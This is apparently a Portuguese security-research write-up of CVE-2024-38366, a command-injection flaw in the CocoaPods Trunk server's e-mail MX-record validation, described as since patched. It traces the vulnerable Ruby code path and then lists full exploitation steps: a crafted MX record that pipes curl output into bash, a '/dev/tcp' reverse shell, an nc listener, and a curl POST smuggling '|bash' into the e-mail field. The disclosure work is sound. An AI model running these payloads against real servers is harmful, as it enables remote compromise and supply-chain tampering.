Vulnerabilidade RCE no CocoaPods CVE-2024-38366
Este repositório inclui um pouco mais de aprofundamento no processo de pesquisa e nos pensamentos por trás da vulnerabilidade de RCE encontrada ao pesquisar e comprometer o CocoaPods Package Manager.
A publicação da pesquisa no blog pode ser lida aqui: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
O Servidor Trunk do CocoaPods atua como um repositório centralizado e plataforma de distribuição para CocoaPods, bibliotecas essenciais e frameworks usados no ecossistema Apple, particularmente no desenvolvimento iOS e macOS. O seu propósito principal é facilitar a partilha e gestão contínua desses recursos de código aberto.
O processo de registo de desenvolvedores junto do Servidor Trunk do CocoaPods consiste nos seguintes passos para garantir a segurança da plataforma:
A versão mais recente do trunk.cocoapods.org (branch master) foi testada e validada no ambiente de produção no momento da pesquisa. A vulnerabilidade foi entretanto corrigida e já não é explorável.
A causa raiz da vulnerabilidade é a verificação insuficiente da etapa de validação do domínio do endereço de e-mail (durante o processo de registo do desenvolvedor) e a execução insegura de comandos. Especificamente, um atacante pode manipular a entrada de forma a contornar a validação do registo Mail Exchanger (MX) do domínio, levando à capacidade de injetar e executar comandos arbitrários do SO no Servidor Trunk.
Isso representa uma ameaça grave para a segurança da plataforma, pois permite que indivíduos não autorizados possam potencialmente comprometer a integridade do servidor, a confidencialidade dos dados armazenados e interromper as suas operações.
APP/CONTROLLERS/APP_CONTROLLER.RB
O ficheiro App Controller define os endpoints da API do Servidor Trunk, incluindo o SessionsContoller, servido através do caminho /api/v1/sessions.
APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
Para gerar uma nova sessão, o ficheiro Session Controller serve o endpoint da API HTTP POST – /api/v1/sessions.
O endpoint processa os detalhes de registo fornecidos pelo utilizador, incluindo os parâmetros “email”, “name” e “description”. Em seguida, chama o método Owner.find_or_initialize_by_email_and_name.
A chamada da função inclui os valores dos parâmetros “email” e “name”.
APP/MODELS/OWNER.RB
O ficheiro Owner Model define o método find_or_initialize_by_email_and_name que verifica se o e-mail fornecido existe. Se não existir, cria um novo objeto Owner usando os parâmetros acima mencionados.
Assim que o objeto é criado e antes de o armazenar na base de dados, o framework Sequel executa o método validate. Este método inclui múltiplas validações, encontradas no pacote RFC-822.
Focámo-nos na execução do método validates_mx_record, que utiliza o pacote RFC-822.
RFC-822/LIB/RFC822.RB
A biblioteca implementa o método mx_records para verificar se o domínio fornecido é válido. Além disso, implementa uma validação de responsividade do registo MX usando o comando host.
O método primeiro compara o endereço de e-mail completo com o padrão de Regex de e-mail definido – verifica se o e-mail fornecido corresponde ao padrão. Se o padrão não corresponder, o método retorna vazio e não prossegue para as verificações ativas através do comando host.
O método mx_records chama então o método raw_mx_records, que manipula o valor do e-mail – obtém apenas a parte do domínio (tudo após o último ‘@’) e chama o método host_mx usando o domínio extraído como valor do parâmetro.
O método host_mx executa um comando arbitrário do SO, concatenando-o com o domínio do e-mail fornecido pelo utilizador.
O comando final executado é o seguinte:
/usr/bin/env host -t MX <DOMAIN>
Para iniciar a exploração da vulnerabilidade, fizemos um pedido HTTP POST ao endpoint da API /api/v1/sessions. No corpo do pedido, fornecemos uma entrada manipulada.
O principal objetivo era acionar o processo de validação do registo MX, o que acabaria por levar à avaliação e execução da nossa entrada maliciosa, resultando na execução de comandos do SO no servidor trunk.
Para atingir o nosso objetivo e estabelecer um reverse shell totalmente interativo, tivemos de superar certos desafios:
reef<span>@evasec.io|curl{IFS}evasec.io não seria eficaz, pois o servidor processá-lo-ia em minúsculas.reef<span>@evasec.io|{curl,evasec.io} não funcionaria devido à presença dos seguintes caracteres que a biblioteca eliminaria:
" " (espaço)"().,<>@[]Para finalizar a nossa missão, precisámos de ultrapassar o obstáculo com que nos deparámos.
Descobrimos que o comando /usr/bin/env host -t MX <DOMAIN> fornece uma saída que podemos controlar, permitindo-nos contornar esses desafios.
A saída poderia ser aproveitada ao canalizá-la para um comando bash, criando uma oportunidade para execução de código.
Por exemplo:
/usr/bin/env host -t MX <DOMAIN> | bash
Manipulámos um registo MX no nosso domínio, gerido via Route53 na AWS. O registo MX contém a seguinte string válida:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
Alvo: O payload criado foi definido para ser executado durante a validação do domínio através do comando host.
Para iniciar a Execução Remota de Código, invocámos o endpoint da API POST /api/v1/sessions com o seguinte payload:
anything<span>@owned.domain|bash
Sendo que o domínio "owned.domain" representa o registo MX maliciosamente criado, conforme descrito acima.
Prepare o servidor de payload: configure um servidor web para servir o ficheiro payload.txt, que contém o código a ser executado no servidor Trunk.
sh -i >& /dev/tcp/SERVER/1337 0>&1Crie um registo MX malicioso: gere um novo registo MX que inclua um payload concebido para obter o payload preparado no passo 1 e executá-lo.
10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.comConfigure um listener de reverse shell: inicie um listener de reverse shell, como o netcat (nc), numa porta publicamente acessível.
nc -lvp 1337Execute o reverse shell: envie um pedido HTTP para acionar a execução do reverse shell, o que pode ser feito usando um comando curl.
curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'
Na nossa pesquisa, identificámos uma vulnerabilidade de segurança crítica no Servidor Trunk do CocoaPods que permite a execução de comandos arbitrários do sistema operativo (Execução Remota de Código totalmente interativa).
Se um ator de ameaças não autorizado comprometer o servidor, ele ou ela poderá potencialmente introduzir código malicioso em bibliotecas amplamente utilizadas. Isto poderia levar a graves vulnerabilidades de segurança em inúmeras aplicações iOS e macOS que dependem desses CocoaPods comprometidos.
Além disso, o ator de ameaças poderia manipular especificações de pods, interromper a distribuição de bibliotecas legítimas ou causar perturbações generalizadas no ecossistema CocoaPods.